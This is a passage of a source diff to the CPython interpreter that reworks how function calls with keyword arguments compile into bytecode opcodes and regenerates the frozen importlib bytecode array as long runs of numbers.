             nsubkwargs++;
         }
-        else {
-            VISIT_SEQ(c, keyword, keywords);
-            nkw = nseen;
-        }
-    }
-    if (nsubkwargs) {
-        code |= 2;
         if (nsubkwargs > 1) {
             /* Pack it all up */
-            int function_pos = n + (code & 1) + 2 * nkw + 1;
-            ADDOP_I(c, BUILD_MAP_UNPACK_WITH_CALL, nsubkwargs | (function_pos << 8));
+            ADDOP_I(c, BUILD_MAP_UNPACK_WITH_CALL, nsubkwargs);
         }
+        ADDOP_I(c, CALL_FUNCTION_EX, nsubkwargs > 0);
+        return 1;
     }
-    assert(n < 1<<8);
-    assert(nkw < 1<<24);
-    n |= nkw << 8;
-
-    switch (code) {
-    case 0:
-        ADDOP_I(c, CALL_FUNCTION, n);
-        break;
-    case 1:
-        ADDOP_I(c, CALL_FUNCTION_VAR, n);
-        break;
-    case 2:
-        ADDOP_I(c, CALL_FUNCTION_KW, n);
-        break;
-    case 3:
-        ADDOP_I(c, CALL_FUNCTION_VAR_KW, n);
-        break;
+    else if (nkwelts) {
+        PyObject *names;
+        VISIT_SEQ(c, keyword, keywords);
+        names = PyTuple_New(nkwelts);
+        if (names == NULL) {
+            return 0;
+        }
+        for (i = 0; i < nkwelts; i++) {
+            keyword_ty kw = asdl_seq_GET(keywords, i);
+            Py_INCREF(kw->arg);
+            PyTuple_SET_ITEM(names, i, kw->arg);
+        }
+        ADDOP_N(c, LOAD_CONST, names, consts);
+        ADDOP_I(c, CALL_FUNCTION_KW, n + nelts + nkwelts);
+        return 1;
     }
-    return 1;
+    else {
+        ADDOP_I(c, CALL_FUNCTION, n + nelts);
+        return 1;
+    }
 }
 
 
@@ -3851,7 +3832,6 @@ compiler_dictcomp(struct compiler *c, ex
 static int
 compiler_visit_keyword(struct compiler *c, keyword_ty k)
 {
-    ADDOP_O(c, LOAD_CONST, k->arg, consts);
     VISIT(c, expr, k->value);
     return 1;
 }
diff -r 98a57845c8cc Python/importlib.h
--- a/Python/importlib.h	Fri Sep 09 07:38:50 2016 +0000
+++ b/Python/importlib.h	Fri Sep 09 22:43:11 2016 +0300
@@ -367,7 +367,7 @@ const unsigned char _Py_M__importlib[] =
     0,0,0,7,8,1,8,1,2,1,12,1,14,3,6,2,
     114,56,0,0,0,99,1,0,0,0,0,0,0,0,3,0,
     0,0,3,0,0,0,79,0,0,0,115,10,0,0,0,124,
-    0,124,1,124,2,142,0,83,0,41,1,97,46,1,0,0,
+    0,124,1,124,2,142,1,83,0,41,1,97,46,1,0,0,
     114,101,109,111,118,101,95,105,109,112,111,114,116,108,105,98,
     95,102,114,97,109,101,115,32,105,110,32,105,109,112,111,114,
     116,46,99,32,119,105,108,108,32,97,108,119,97,121,115,32,
@@ -393,17 +393,17 @@ const unsigned char _Py_M__importlib[] =
     114,97,109,101,115,95,114,101,109,111,118,101,100,197,0,0,
     0,115,2,0,0,0,0,8,114,58,0,0,0,114,33,0,
     0,0,41,1,218,9,118,101,114,98,111,115,105,116,121,99,
-    1,0,0,0,1,0,0,0,3,0,0,0,4,0,0,0,
-    71,0,0,0,115,56,0,0,0,116,0,106,1,106,2,124,
-    1,107,5,114,52,124,0,106,3,100,6,131,1,115,30,100,
-    3,124,0,23,0,125,0,116,4,124,0,106,5,124,2,140,
-    0,100,4,116,0,106,6,144,1,131,1,1,0,100,5,83,
-    0,41,7,122,61,80,114,105,110,116,32,116,104,101,32,109,
-    101,115,115,97,103,101,32,116,111,32,115,116,100,101,114,114,
-    32,105,102,32,45,118,47,80,89,84,72,79,78,86,69,82,
-    66,79,83,69,32,105,115,32,116,117,114,110,101,100,32,111,
-    110,46,250,1,35,250,7,105,109,112,111,114,116,32,122,2,
-    35,32,90,4,102,105,108,101,78,41,2,114,60,0,0,0,
+    1,0,0,0,1,0,0,0,3,0,0,0,5,0,0,0,
+    71,0,0,0,115,54,0,0,0,116,0,106,1,106,2,124,
+    1,107,5,114,50,124,0,106,3,100,6,131,1,115,30,100,
+    3,124,0,23,0,125,0,116,4,124,0,106,5,124,2,142,
+    0,116,0,106,6,100,4,141,2,1,0,100,5,83,0,41,
+    7,122,61,80,114,105,110,116,32,116,104,101,32,109,101,115,
+    115,97,103,101,32,116,111,32,115,116,100,101,114,114,32,105,
+    102,32,45,118,47,80,89,84,72,79,78,86,69,82,66,79,
+    83,69,32,105,115,32,116,117,114,110,101,100,32,111,110,46,
+    250,1,35,250,7,105,109,112,111,114,116,32,122,2,35,32,
+    41,1,90,4,102,105,108,101,78,41,2,114,60,0,0,0,
     114,61,0,0,0,41,7,114,14,0,0,0,218,5,102,108,
     97,103,115,218,7,118,101,114,98,111,115,101,218,10,115,116,
     97,114,116,115,119,105,116,104,218,5,112,114,105,110,116,114,
@@ -420,12 +420,12 @@ const unsigned char _Py_M__importlib[] =
     105,102,121,32,116,104,101,32,110,97,109,101,100,32,109,111,
     100,117,108,101,32,105,115,32,98,117,105,108,116,45,105,110,
     46,99,2,0,0,0,0,0,0,0,2,0,0,0,4,0,
-    0,0,19,0,0,0,115,40,0,0,0,124,1,116,0,106,
-    1,107,7,114,30,116,2,100,1,106,3,124,1,131,1,100,
-    2,124,1,144,1,131,1,130,1,136,0,124,0,124,1,131,
-    2,83,0,41,3,78,122,29,123,33,114,125,32,105,115,32,
-    110,111,116,32,97,32,98,117,105,108,116,45,105,110,32,109,
-    111,100,117,108,101,114,15,0,0,0,41,4,114,14,0,0,
+    0,0,19,0,0,0,115,38,0,0,0,124,1,116,0,106,
+    1,107,7,114,28,116,2,100,1,106,3,124,1,131,1,124,
+    1,100,2,141,2,130,1,136,0,124,0,124,1,131,2,83,
+    0,41,3,78,122,29,123,33,114,125,32,105,115,32,110,111,
+    116,32,97,32,98,117,105,108,116,45,105,110,32,109,111,100,
+    117,108,101,41,1,114,15,0,0,0,41,4,114,14,0,0,
     0,218,20,98,117,105,108,116,105,110,95,109,111,100,117,108,
     101,95,110,97,109,101,115,218,11,73,109,112,111,114,116,69,
     114,114,111,114,114,38,0,0,0,41,2,114,26,0,0,0,
@@ -433,7 +433,7 @@ const unsigned char _Py_M__importlib[] =
     110,114,10,0,0,0,114,11,0,0,0,218,25,95,114,101,
     113,117,105,114,101,115,95,98,117,105,108,116,105,110,95,119,
     114,97,112,112,101,114,218,0,0,0,115,8,0,0,0,0,
-    1,10,1,12,1,8,1,122,52,95,114,101,113,117,105,114,
+    1,10,1,10,1,8,1,122,52,95,114,101,113,117,105,114,
     101,115,95,98,117,105,108,116,105,110,46,60,108,111,99,97,
     108,115,62,46,95,114,101,113,117,105,114,101,115,95,98,117,
     105,108,116,105,110,95,119,114,97,112,112,101,114,41,1,114,
@@ -449,18 +449,18 @@ const unsigned char _Py_M__importlib[] =
     105,102,121,32,116,104,101,32,110,97,109,101,100,32,109,111,
     100,117,108,101,32,105,115,32,102,114,111,122,101,110,46,99,
     2,0,0,0,0,0,0,0,2,0,0,0,4,0,0,0,
-    19,0,0,0,115,40,0,0,0,116,0,106,1,124,1,131,
-    1,115,30,116,2,100,1,106,3,124,1,131,1,100,2,124,
-    1,144,1,131,1,130,1,136,0,124,0,124,1,131,2,83,
-    0,41,3,78,122,27,123,33,114,125,32,105,115,32,110,111,
-    116,32,97,32,102,114,111,122,101,110,32,109,111,100,117,108,
-    101,114,15,0,0,0,41,4,114,46,0,0,0,218,9,105,
+    19,0,0,0,115,38,0,0,0,116,0,106,1,124,1,131,
+    1,115,28,116,2,100,1,106,3,124,1,131,1,124,1,100,
+    2,141,2,130,1,136,0,124,0,124,1,131,2,83,0,41,
+    3,78,122,27,123,33,114,125,32,105,115,32,110,111,116,32,
+    97,32,102,114,111,122,101,110,32,109,111,100,117,108,101,41,
+    1,114,15,0,0,0,41,4,114,46,0,0,0,218,9,105,
     115,95,102,114,111,122,101,110,114,70,0,0,0,114,38,0,
     0,0,41,2,114,26,0,0,0,114,71,0,0,0,41,1,
     114,72,0,0,0,114,10,0,0,0,114,11,0,0,0,218,
     24,95,114,101,113,117,105,114,101,115,95,102,114,111,122,101,
     110,95,119,114,97,112,112,101,114,229,0,0,0,115,8,0,
-    0,0,0,1,10,1,12,1,8,1,122,50,95,114,101,113,
+    0,0,0,1,10,1,10,1,8,1,122,50,95,114,101,113,
     117,105,114,101,115,95,102,114,111,122,101,110,46,60,108,111,
     99,97,108,115,62,46,95,114,101,113,117,105,114,101,115,95,
     102,114,111,122,101,110,95,119,114,97,112,112,101,114,41,1,
@@ -796,718 +796,718 @@ const unsigned char _Py_M__importlib[] =
     102,0,0,0,62,1,0,0,115,20,0,0,0,8,35,4,
     2,4,1,14,11,8,10,8,12,12,9,14,4,12,8,12,
     4,114,102,0,0,0,41,2,114,103,0,0,0,114,105,0,
-    0,0,99,2,0,0,0,2,0,0,0,6,0,0,0,15,
-    0,0,0,67,0,0,0,115,164,0,0,0,116,0,124,1,
-    100,1,131,2,114,80,116,1,100,2,107,8,114,22,116,2,
-    130,1,116,1,106,3,125,4,124,3,100,2,107,8,114,50,
-    124,4,124,0,100,3,124,1,144,1,131,1,83,0,124,3,
-    114,58,103,0,110,2,100,2,125,5,124,4,124,0,100,3,
-    124,1,100,4,124,5,144,2,131,1,83,0,124,3,100,2,
-    107,8,114,144,116,0,124,1,100,5,131,2,114,140,121,14,
-    124,1,106,4,124,0,131,1,125,3,87,0,113,144,4,0,
-    116,5,107,10,114,136,1,0,1,0,1,0,100,2,125,3,
-    89,0,113,144,88,0,110,4,100,6,125,3,116,6,124,0,
-    124,1,100,7,124,2,100,5,124,3,144,2,131,2,83,0,
-    41,8,122,53,82,101,116,117,114,110,32,97,32,109,111,100,
-    117,108,101,32,115,112,101,99,32,98,97,115,101,100,32,111,
-    110,32,118,97,114,105,111,117,115,32,108,111,97,100,101,114,
-    32,109,101,116,104,111,100,115,46,90,12,103,101,116,95,102,
-    105,108,101,110,97,109,101,78,114,93,0,0,0,114,106,0,
-    0,0,114,105,0,0,0,70,114,103,0,0,0,41,7,114,
-    4,0,0,0,114,115,0,0,0,114,116,0,0,0,218,23,
-    115,112,101,99,95,102,114,111,109,95,102,105,108,101,95,108,
-    111,99,97,116,105,111,110,114,105,0,0,0,114,70,0,0,
-    0,114,102,0,0,0,41,6,114,15,0,0,0,114,93,0,
-    0,0,114,103,0,0,0,114,105,0,0,0,114,124,0,0,
-    0,90,6,115,101,97,114,99,104,114,10,0,0,0,114,10,
-    0,0,0,114,11,0,0,0,114,78,0,0,0,163,1,0,
-    0,115,34,0,0,0,0,2,10,1,8,1,4,1,6,2,
-    8,1,14,1,12,1,10,1,8,2,8,1,10,1,2,1,
-    14,1,14,1,12,3,4,2,114,78,0,0,0,99,3,0,
-    0,0,0,0,0,0,8,0,0,0,53,0,0,0,67,0,
-    0,0,115,58,1,0,0,121,10,124,0,106,0,125,3,87,
-    0,110,20,4,0,116,1,107,10,114,30,1,0,1,0,1,
-    0,89,0,110,14,88,0,124,3,100,0,107,9,114,44,124,
-    3,83,0,124,0,106,2,125,4,124,1,100,0,107,8,114,
-    90,121,10,124,0,106,3,125,1,87,0,110,20,4,0,116,
-    1,107,10,114,88,1,0,1,0,1,0,89,0,110,2,88,
-    0,121,10,124,0,106,4,125,5,87,0,110,24,4,0,116,
-    1,107,10,114,124,1,0,1,0,1,0,100,0,125,5,89,
-    0,110,2,88,0,124,2,100,0,107,8,114,184,124,5,100,
-    0,107,8,114,180,121,10,124,1,106,5,125,2,87,0,113,
-    184,4,0,116,1,107,10,114,176,1,0,1,0,1,0,100,
-    0,125,2,89,0,113,184,88,0,110,4,124,5,125,2,121,
-    10,124,0,106,6,125,6,87,0,110,24,4,0,116,1,107,
-    10,114,218,1,0,1,0,1,0,100,0,125,6,89,0,110,
-    2,88,0,121,14,116,7,124,0,106,8,131,1,125,7,87,
-    0,110,26,4,0,116,1,107,10,144,1,114,4,1,0,1,
-    0,1,0,100,0,125,7,89,0,110,2,88,0,116,9,124,
-    4,124,1,100,1,124,2,144,1,131,2,125,3,124,5,100,
-    0,107,8,144,1,114,36,100,2,110,2,100,3,124,3,95,
-    10,124,6,124,3,95,11,124,7,124,3,95,12,124,3,83,
-    0,41,4,78,114,103,0,0,0,70,84,41,13,114,89,0,
-    0,0,114,90,0,0,0,114,1,0,0,0,114,85,0,0,
-    0,114,92,0,0,0,90,7,95,79,82,73,71,73,78,218,
-    10,95,95,99,97,99,104,101,100,95,95,218,4,108,105,115,
-    116,218,8,95,95,112,97,116,104,95,95,114,102,0,0,0,
-    114,107,0,0,0,114,112,0,0,0,114,106,0,0,0,41,
-    8,114,83,0,0,0,114,93,0,0,0,114,103,0,0,0,
-    114,82,0,0,0,114,15,0,0,0,90,8,108,111,99,97,
-    116,105,111,110,114,112,0,0,0,114,106,0,0,0,114,10,
-    0,0,0,114,10,0,0,0,114,11,0,0,0,218,17,95,
-    115,112,101,99,95,102,114,111,109,95,109,111,100,117,108,101,
-    192,1,0,0,115,72,0,0,0,0,2,2,1,10,1,14,
-    1,6,2,8,1,4,2,6,1,8,1,2,1,10,1,14,
-    2,6,1,2,1,10,1,14,1,10,1,8,1,8,1,2,
-    1,10,1,14,1,12,2,4,1,2,1,10,1,14,1,10,
-    1,2,1,14,1,16,1,10,2,16,1,20,1,6,1,6,
-    1,114,128,0,0,0,70,41,1,218,8,111,118,101,114,114,
-    105,100,101,99,2,0,0,0,1,0,0,0,5,0,0,0,
-    59,0,0,0,67,0,0,0,115,212,1,0,0,124,2,115,
-    20,116,0,124,1,100,1,100,0,131,3,100,0,107,8,114,
-    54,121,12,124,0,106,1,124,1,95,2,87,0,110,20,4,
-    0,116,3,107,10,114,52,1,0,1,0,1,0,89,0,110,
-    2,88,0,124,2,115,74,116,0,124,1,100,2,100,0,131,
-    3,100,0,107,8,114,166,124,0,106,4,125,3,124,3,100,
-    0,107,8,114,134,124,0,106,5,100,0,107,9,114,134,116,
-    6,100,0,107,8,114,110,116,7,130,1,116,6,106,8,125,
-    4,124,4,106,9,124,4,131,1,125,3,124,0,106,5,124,
-    3,95,10,121,10,124,3,124,1,95,11,87,0,110,20,4,
-    0,116,3,107,10,114,164,1,0,1,0,1,0,89,0,110,
-    2,88,0,124,2,115,186,116,0,124,1,100,3,100,0,131,
-    3,100,0,107,8,114,220,121,12,124,0,106,12,124,1,95,
-    13,87,0,110,20,4,0,116,3,107,10,114,218,1,0,1,
-    0,1,0,89,0,110,2,88,0,121,10,124,0,124,1,95,
-    14,87,0,110,20,4,0,116,3,107,10,114,250,1,0,1,
-    0,1,0,89,0,110,2,88,0,124,2,144,1,115,20,116,
-    0,124,1,100,4,100,0,131,3,100,0,107,8,144,1,114,
-    68,124,0,106,5,100,0,107,9,144,1,114,68,121,12,124,
-    0,106,5,124,1,95,15,87,0,110,22,4,0,116,3,107,
-    10,144,1,114,66,1,0,1,0,1,0,89,0,110,2,88,
-    0,124,0,106,16,144,1,114,208,124,2,144,1,115,100,116,
-    0,124,1,100,5,100,0,131,3,100,0,107,8,144,1,114,
-    136,121,12,124,0,106,17,124,1,95,18,87,0,110,22,4,
-    0,116,3,107,10,144,1,114,134,1,0,1,0,1,0,89,
-    0,110,2,88,0,124,2,144,1,115,160,116,0,124,1,100,
-    6,100,0,131,3,100,0,107,8,144,1,114,208,124,0,106,
-    19,100,0,107,9,144,1,114,208,121,12,124,0,106,19,124,
-    1,95,20,87,0,110,22,4,0,116,3,107,10,144,1,114,
-    206,1,0,1,0,1,0,89,0,110,2,88,0,124,1,83,
-    0,41,7,78,114,1,0,0,0,114,85,0,0,0,218,11,
-    95,95,112,97,99,107,97,103,101,95,95,114,127,0,0,0,
-    114,92,0,0,0,114,125,0,0,0,41,21,114,6,0,0,
-    0,114,15,0,0,0,114,1,0,0,0,114,90,0,0,0,
-    114,93,0,0,0,114,106,0,0,0,114,115,0,0,0,114,
-    116,0,0,0,218,16,95,78,97,109,101,115,112,97,99,101,
-    76,111,97,100,101,114,218,7,95,95,110,101,119,95,95,90,
-    5,95,112,97,116,104,114,85,0,0,0,114,119,0,0,0,
-    114,130,0,0,0,114,89,0,0,0,114,127,0,0,0,114,
-    113,0,0,0,114,103,0,0,0,114,92,0,0,0,114,112,
-    0,0,0,114,125,0,0,0,41,5,114,82,0,0,0,114,
-    83,0,0,0,114,129,0,0,0,114,93,0,0,0,114,131,
+    0,0,99,2,0,0,0,2,0,0,0,6,0,0,0,14,
+    0,0,0,67,0,0,0,115,154,0,0,0,116,0,124,1,
+    100,1,131,2,114,74,116,1,100,2,107,8,114,22,116,2,
+    130,1,116,1,106,3,125,4,124,3,100,2,107,8,114,48,
+    124,4,124,0,124,1,100,3,141,2,83,0,124,3,114,56,
+    103,0,110,2,100,2,125,5,124,4,124,0,124,1,124,5,
+    100,4,141,3,83,0,124,3,100,2,107,8,114,138,116,0,
+    124,1,100,5,131,2,114,134,121,14,124,1,106,4,124,0,
+    131,1,125,3,87,0,113,138,4,0,116,5,107,10,114,130,
+    1,0,1,0,1,0,100,2,125,3,89,0,113,138,88,0,
+    110,4,100,6,125,3,116,6,124,0,124,1,124,2,124,3,
+    100,7,141,4,83,0,41,8,122,53,82,101,116,117,114,110,
+    32,97,32,109,111,100,117,108,101,32,115,112,101,99,32,98,
+    97,115,101,100,32,111,110,32,118,97,114,105,111,117,115,32,
+    108,111,97,100,101,114,32,109,101,116,104,111,100,115,46,90,
+    12,103,101,116,95,102,105,108,101,110,97,109,101,78,41,1,
+    114,93,0,0,0,41,2,114,93,0,0,0,114,106,0,0,
+    0,114,105,0,0,0,70,41,2,114,103,0,0,0,114,105,
+    0,0,0,41,7,114,4,0,0,0,114,115,0,0,0,114,
+    116,0,0,0,218,23,115,112,101,99,95,102,114,111,109,95,
+    102,105,108,101,95,108,111,99,97,116,105,111,110,114,105,0,
+    0,0,114,70,0,0,0,114,102,0,0,0,41,6,114,15,
+    0,0,0,114,93,0,0,0,114,103,0,0,0,114,105,0,
+    0,0,114,124,0,0,0,90,6,115,101,97,114,99,104,114,
+    10,0,0,0,114,10,0,0,0,114,11,0,0,0,114,78,
+    0,0,0,163,1,0,0,115,34,0,0,0,0,2,10,1,
+    8,1,4,1,6,2,8,1,12,1,12,1,6,1,8,2,
+    8,1,10,1,2,1,14,1,14,1,12,3,4,2,114,78,
+    0,0,0,99,3,0,0,0,0,0,0,0,8,0,0,0,
+    53,0,0,0,67,0,0,0,115,56,1,0,0,121,10,124,
+    0,106,0,125,3,87,0,110,20,4,0,116,1,107,10,114,
+    30,1,0,1,0,1,0,89,0,110,14,88,0,124,3,100,
+    0,107,9,114,44,124,3,83,0,124,0,106,2,125,4,124,
+    1,100,0,107,8,114,90,121,10,124,0,106,3,125,1,87,
+    0,110,20,4,0,116,1,107,10,114,88,1,0,1,0,1,
+    0,89,0,110,2,88,0,121,10,124,0,106,4,125,5,87,
+    0,110,24,4,0,116,1,107,10,114,124,1,0,1,0,1,
+    0,100,0,125,5,89,0,110,2,88,0,124,2,100,0,107,
+    8,114,184,124,5,100,0,107,8,114,180,121,10,124,1,106,
+    5,125,2,87,0,113,184,4,0,116,1,107,10,114,176,1,
+    0,1,0,1,0,100,0,125,2,89,0,113,184,88,0,110,
+    4,124,5,125,2,121,10,124,0,106,6,125,6,87,0,110,
+    24,4,0,116,1,107,10,114,218,1,0,1,0,1,0,100,
+    0,125,6,89,0,110,2,88,0,121,14,116,7,124,0,106,
+    8,131,1,125,7,87,0,110,26,4,0,116,1,107,10,144,
+    1,114,4,1,0,1,0,1,0,100,0,125,7,89,0,110,
+    2,88,0,116,9,124,4,124,1,124,2,100,1,141,3,125,
+    3,124,5,100,0,107,8,144,1,114,34,100,2,110,2,100,
+    3,124,3,95,10,124,6,124,3,95,11,124,7,124,3,95,
+    12,124,3,83,0,41,4,78,41,1,114,103,0,0,0,70,
+    84,41,13,114,89,0,0,0,114,90,0,0,0,114,1,0,
+    0,0,114,85,0,0,0,114,92,0,0,0,90,7,95,79,
+    82,73,71,73,78,218,10,95,95,99,97,99,104,101,100,95,
+    95,218,4,108,105,115,116,218,8,95,95,112,97,116,104,95,
+    95,114,102,0,0,0,114,107,0,0,0,114,112,0,0,0,
+    114,106,0,0,0,41,8,114,83,0,0,0,114,93,0,0,
+    0,114,103,0,0,0,114,82,0,0,0,114,15,0,0,0,
+    90,8,108,111,99,97,116,105,111,110,114,112,0,0,0,114,
+    106,0,0,0,114,10,0,0,0,114,10,0,0,0,114,11,
+    0,0,0,218,17,95,115,112,101,99,95,102,114,111,109,95,
+    109,111,100,117,108,101,192,1,0,0,115,72,0,0,0,0,
+    2,2,1,10,1,14,1,6,2,8,1,4,2,6,1,8,
+    1,2,1,10,1,14,2,6,1,2,1,10,1,14,1,10,
+    1,8,1,8,1,2,1,10,1,14,1,12,2,4,1,2,
+    1,10,1,14,1,10,1,2,1,14,1,16,1,10,2,14,
+    1,20,1,6,1,6,1,114,128,0,0,0,70,41,1,218,
+    8,111,118,101,114,114,105,100,101,99,2,0,0,0,1,0,
+    0,0,5,0,0,0,59,0,0,0,67,0,0,0,115,212,
+    1,0,0,124,2,115,20,116,0,124,1,100,1,100,0,131,
+    3,100,0,107,8,114,54,121,12,124,0,106,1,124,1,95,
+    2,87,0,110,20,4,0,116,3,107,10,114,52,1,0,1,
+    0,1,0,89,0,110,2,88,0,124,2,115,74,116,0,124,
+    1,100,2,100,0,131,3,100,0,107,8,114,166,124,0,106,
+    4,125,3,124,3,100,0,107,8,114,134,124,0,106,5,100,
+    0,107,9,114,134,116,6,100,0,107,8,114,110,116,7,130,
+    1,116,6,106,8,125,4,124,4,106,9,124,4,131,1,125,
+    3,124,0,106,5,124,3,95,10,121,10,124,3,124,1,95,
+    11,87,0,110,20,4,0,116,3,107,10,114,164,1,0,1,
+    0,1,0,89,0,110,2,88,0,124,2,115,186,116,0,124,
+    1,100,3,100,0,131,3,100,0,107,8,114,220,121,12,124,
+    0,106,12,124,1,95,13,87,0,110,20,4,0,116,3,107,
+    10,114,218,1,0,1,0,1,0,89,0,110,2,88,0,121,
+    10,124,0,124,1,95,14,87,0,110,20,4,0,116,3,107,
+    10,114,250,1,0,1,0,1,0,89,0,110,2,88,0,124,
+    2,144,1,115,20,116,0,124,1,100,4,100,0,131,3,100,
+    0,107,8,144,1,114,68,124,0,106,5,100,0,107,9,144,
+    1,114,68,121,12,124,0,106,5,124,1,95,15,87,0,110,
+    22,4,0,116,3,107,10,144,1,114,66,1,0,1,0,1,
+    0,89,0,110,2,88,0,124,0,106,16,144,1,114,208,124,
+    2,144,1,115,100,116,0,124,1,100,5,100,0,131,3,100,
+    0,107,8,144,1,114,136,121,12,124,0,106,17,124,1,95,
+    18,87,0,110,22,4,0,116,3,107,10,144,1,114,134,1,
+    0,1,0,1,0,89,0,110,2,88,0,124,2,144,1,115,
+    160,116,0,124,1,100,6,100,0,131,3,100,0,107,8,144,
+    1,114,208,124,0,106,19,100,0,107,9,144,1,114,208,121,
+    12,124,0,106,19,124,1,95,20,87,0,110,22,4,0,116,
+    3,107,10,144,1,114,206,1,0,1,0,1,0,89,0,110,
+    2,88,0,124,1,83,0,41,7,78,114,1,0,0,0,114,
+    85,0,0,0,218,11,95,95,112,97,99,107,97,103,101,95,
+    95,114,127,0,0,0,114,92,0,0,0,114,125,0,0,0,
+    41,21,114,6,0,0,0,114,15,0,0,0,114,1,0,0,
+    0,114,90,0,0,0,114,93,0,0,0,114,106,0,0,0,
+    114,115,0,0,0,114,116,0,0,0,218,16,95,78,97,109,
+    101,115,112,97,99,101,76,111,97,100,101,114,218,7,95,95,
+    110,101,119,95,95,90,5,95,112,97,116,104,114,85,0,0,
+    0,114,119,0,0,0,114,130,0,0,0,114,89,0,0,0,
+    114,127,0,0,0,114,113,0,0,0,114,103,0,0,0,114,
+    92,0,0,0,114,112,0,0,0,114,125,0,0,0,41,5,
+    114,82,0,0,0,114,83,0,0,0,114,129,0,0,0,114,
+    93,0,0,0,114,131,0,0,0,114,10,0,0,0,114,10,
+    0,0,0,114,11,0,0,0,218,18,95,105,110,105,116,95,
+    109,111,100,117,108,101,95,97,116,116,114,115,237,1,0,0,
+    115,92,0,0,0,0,4,20,1,2,1,12,1,14,1,6,
+    2,20,1,6,1,8,2,10,1,8,1,4,1,6,2,10,
+    1,8,1,2,1,10,1,14,1,6,2,20,1,2,1,12,
+    1,14,1,6,2,2,1,10,1,14,1,6,2,24,1,12,
+    1,2,1,12,1,16,1,6,2,8,1,24,1,2,1,12,
+    1,16,1,6,2,24,1,12,1,2,1,12,1,16,1,6,
+    1,114,133,0,0,0,99,1,0,0,0,0,0,0,0,2,
+    0,0,0,3,0,0,0,67,0,0,0,115,82,0,0,0,
+    100,1,125,1,116,0,124,0,106,1,100,2,131,2,114,30,
+    124,0,106,1,106,2,124,0,131,1,125,1,110,20,116,0,
+    124,0,106,1,100,3,131,2,114,50,116,3,100,4,131,1,
+    130,1,124,1,100,1,107,8,114,68,116,4,124,0,106,5,
+    131,1,125,1,116,6,124,0,124,1,131,2,1,0,124,1,
+    83,0,41,5,122,43,67,114,101,97,116,101,32,97,32,109,
+    111,100,117,108,101,32,98,97,115,101,100,32,111,110,32,116,
+    104,101,32,112,114,111,118,105,100,101,100,32,115,112,101,99,
+    46,78,218,13,99,114,101,97,116,101,95,109,111,100,117,108,
+    101,218,11,101,120,101,99,95,109,111,100,117,108,101,122,66,
+    108,111,97,100,101,114,115,32,116,104,97,116,32,100,101,102,
+    105,110,101,32,101,120,101,99,95,109,111,100,117,108,101,40,
+    41,32,109,117,115,116,32,97,108,115,111,32,100,101,102,105,
+    110,101,32,99,114,101,97,116,101,95,109,111,100,117,108,101,
+    40,41,41,7,114,4,0,0,0,114,93,0,0,0,114,134,
+    0,0,0,114,70,0,0,0,114,16,0,0,0,114,15,0,
+    0,0,114,133,0,0,0,41,2,114,82,0,0,0,114,83,
     0,0,0,114,10,0,0,0,114,10,0,0,0,114,11,0,
-    0,0,218,18,95,105,110,105,116,95,109,111,100,117,108,101,
-    95,97,116,116,114,115,237,1,0,0,115,92,0,0,0,0,
-    4,20,1,2,1,12,1,14,1,6,2,20,1,6,1,8,
-    2,10,1,8,1,4,1,6,2,10,1,8,1,2,1,10,
-    1,14,1,6,2,20,1,2,1,12,1,14,1,6,2,2,
-    1,10,1,14,1,6,2,24,1,12,1,2,1,12,1,16,
-    1,6,2,8,1,24,1,2,1,12,1,16,1,6,2,24,
-    1,12,1,2,1,12,1,16,1,6,1,114,133,0,0,0,
-    99,1,0,0,0,0,0,0,0,2,0,0,0,3,0,0,
-    0,67,0,0,0,115,82,0,0,0,100,1,125,1,116,0,
-    124,0,106,1,100,2,131,2,114,30,124,0,106,1,106,2,
-    124,0,131,1,125,1,110,20,116,0,124,0,106,1,100,3,
-    131,2,114,50,116,3,100,4,131,1,130,1,124,1,100,1,
-    107,8,114,68,116,4,124,0,106,5,131,1,125,1,116,6,
-    124,0,124,1,131,2,1,0,124,1,83,0,41,5,122,43,
-    67,114,101,97,116,101,32,97,32,109,111,100,117,108,101,32,
-    98,97,115,101,100,32,111,110,32,116,104,101,32,112,114,111,
-    118,105,100,101,100,32,115,112,101,99,46,78,218,13,99,114,
-    101,97,116,101,95,109,111,100,117,108,101,218,11,101,120,101,
-    99,95,109,111,100,117,108,101,122,66,108,111,97,100,101,114,
-    115,32,116,104,97,116,32,100,101,102,105,110,101,32,101,120,
-    101,99,95,109,111,100,117,108,101,40,41,32,109,117,115,116,
-    32,97,108,115,111,32,100,101,102,105,110,101,32,99,114,101,
-    97,116,101,95,109,111,100,117,108,101,40,41,41,7,114,4,
-    0,0,0,114,93,0,0,0,114,134,0,0,0,114,70,0,
-    0,0,114,16,0,0,0,114,15,0,0,0,114,133,0,0,
-    0,41,2,114,82,0,0,0,114,83,0,0,0,114,10,0,
-    0,0,114,10,0,0,0,114,11,0,0,0,218,16,109,111,
-    100,117,108,101,95,102,114,111,109,95,115,112,101,99,41,2,
-    0,0,115,18,0,0,0,0,3,4,1,12,3,14,1,12,
-    1,8,2,8,1,10,1,10,1,114,136,0,0,0,99,1,
-    0,0,0,0,0,0,0,2,0,0,0,3,0,0,0,67,
-    0,0,0,115,110,0,0,0,124,0,106,0,100,1,107,8,
-    114,14,100,2,110,4,124,0,106,0,125,1,124,0,106,1,
-    100,1,107,8,114,68,124,0,106,2,100,1,107,8,114,52,
-    100,3,106,3,124,1,131,1,83,0,113,106,100,4,106,3,
-    124,1,124,0,106,2,131,2,83,0,110,38,124,0,106,4,
-    114,90,100,5,106,3,124,1,124,0,106,1,131,2,83,0,
-    110,16,100,6,106,3,124,0,106,0,124,0,106,1,131,2,
-    83,0,100,1,83,0,41,7,122,38,82,101,116,117,114,110,
-    32,116,104,101,32,114,101,112,114,32,116,111,32,117,115,101,
-    32,102,111,114,32,116,104,101,32,109,111,100,117,108,101,46,
-    78,114,87,0,0,0,122,13,60,109,111,100,117,108,101,32,
-    123,33,114,125,62,122,20,60,109,111,100,117,108,101,32,123,
-    33,114,125,32,40,123,33,114,125,41,62,122,23,60,109,111,
-    100,117,108,101,32,123,33,114,125,32,102,114,111,109,32,123,
-    33,114,125,62,122,18,60,109,111,100,117,108,101,32,123,33,
-    114,125,32,40,123,125,41,62,41,5,114,15,0,0,0,114,
-    103,0,0,0,114,93,0,0,0,114,38,0,0,0,114,113,
-    0,0,0,41,2,114,82,0,0,0,114,15,0,0,0,114,
-    10,0,0,0,114,10,0,0,0,114,11,0,0,0,114,91,
-    0,0,0,58,2,0,0,115,16,0,0,0,0,3,20,1,
-    10,1,10,1,12,2,16,2,6,1,16,2,114,91,0,0,
-    0,99,2,0,0,0,0,0,0,0,4,0,0,0,12,0,
-    0,0,67,0,0,0,115,194,0,0,0,124,0,106,0,125,
-    2,116,1,106,2,131,0,1,0,116,3,124,2,131,1,143,
